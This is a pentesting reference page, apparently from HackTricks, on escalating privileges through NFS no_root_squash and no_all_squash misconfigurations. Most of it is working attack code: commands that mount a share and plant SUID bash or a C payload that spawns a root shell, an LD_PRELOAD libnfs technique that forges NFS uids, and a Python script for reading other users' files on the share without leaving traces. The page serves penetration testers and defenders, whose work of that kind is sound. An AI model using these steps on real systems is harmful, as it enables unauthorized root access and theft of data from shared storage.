HackTricks
Search…
Pentesting
Powered By GitBook
NFS no_root_squash/no_all_squash misconfiguration PE
Read the /etc/exports file, if you find some directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.
no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.

Privilege Escalation

Remote Exploit

If you have found this vulnerability, you can exploit it:
    Mounting that directory in a client machine, and as root copying inside the mounted folder the /bin/bash binary and giving it SUID rights, and executing from the victim machine that bash binary.
1
#Attacker, as root user
2
mkdir /tmp/pe
3
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
4
cd /tmp/pe
5
cp /bin/bash .
6
chmod +s bash
7
8
#Victim
9
cd <SHAREDD_FOLDER>
10
./bash -p #ROOT shell
Copied!
    Mounting that directory in a client machine, and as root copying inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it SUID rights, and execute from the victim machine that binary (you can find here some C SUID payloads).
1
#Attacker, as root user
2
gcc payload.c -o payload
3
mkdir /tmp/pe
4
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
5
cd /tmp/pe
6
cp /tmp/payload .
7
chmod +s payload
8
9
#Victim
10
cd <SHAREDD_FOLDER>
11
./payload #ROOT shell
Copied!

Local Exploit

Note that if you can create a tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports. The following trick is in case the file /etc/exports indicates an IP. In this case you won't be able to use in any case the remote exploit and you will need to abuse this trick. Another required requirement for the exploit to work is that the export inside /etc/export must be using the insecure flag. --I'm not sure that if /etc/export is indicating an IP address this trick will work--
Now, let’s assume that the share server still runs no_root_squash but there is something preventing us from mounting the share on our pentest machine. This would happen if the /etc/exports has an explicit list of IP addresses allowed to mount the share.
Listing the shares now shows that only the machine we’re trying to privesc on is allowed to mount it:
1
[[email protected]]# showmount -e nfs-server
2
Export list for nfs-server:
3
/nfs_root machine
Copied!
This means that we’re stuck exploiting the mounted share on the machine locally from an unprivileged user. But it just so happens that there is another, lesser known local exploit.
This exploit relies on a problem in the NFSv3 specification that mandates that it’s up to the client to advertise its uid/gid when accessing the share. Thus it’s possible to fake the uid/gid by forging the NFS RPC calls if the share is already mounted!

Compiling the example

Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscalls.
1
./bootstrap
2
./configure
3
make
4
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Copied!

Exploiting using the library

Let’s use the simplest of exploits:
1
cat pwn.c
2
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
3
gcc pwn.c -o a.out
Copied!
Place our exploit on the share and make it suid root by faking our uid in the RPC calls:
1
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
2
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
3
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
4
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
Copied!
All that’s left is to launch it:
1
[[email protected] libnfs]$ /mnt/share/a.out
Copied!
There we are, local root privilege escalation!

Bonus NFShell

Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command:
1
#!/usr/bin/env python
2
import sys
3
import os
4
5
def get_file_uid(filepath):
6
try:
7
uid = os.stat(filepath).st_uid
8
except OSError as e:
9
return get_file_uid(os.path.dirname(filepath))
10
return uid
11
12
filepath = sys.argv[-1]
13
uid = get_file_uid(filepath)
14
os.setreuid(uid, uid)
15
os.system(' '.join(sys.argv[1:]))
Copied!
You can then run most commands as you normally would by prefixing them with the script:
1
[[email protected] .tmp]# ll ./mount/
2
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
3
[[email protected] .tmp]# ls -la ./mount/9.3_old/
4
ls: cannot open directory ./mount/9.3_old/: Permission denied
5
[[email protected] .tmp]# ./nfsh.py ls --color -l ./mount/9.3_old/
6
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 bin
7
drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf
8
drwx------ 15 1008 1009 1024 Apr 5 2017 data
9
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install
Copied!
Last modified 1yr ago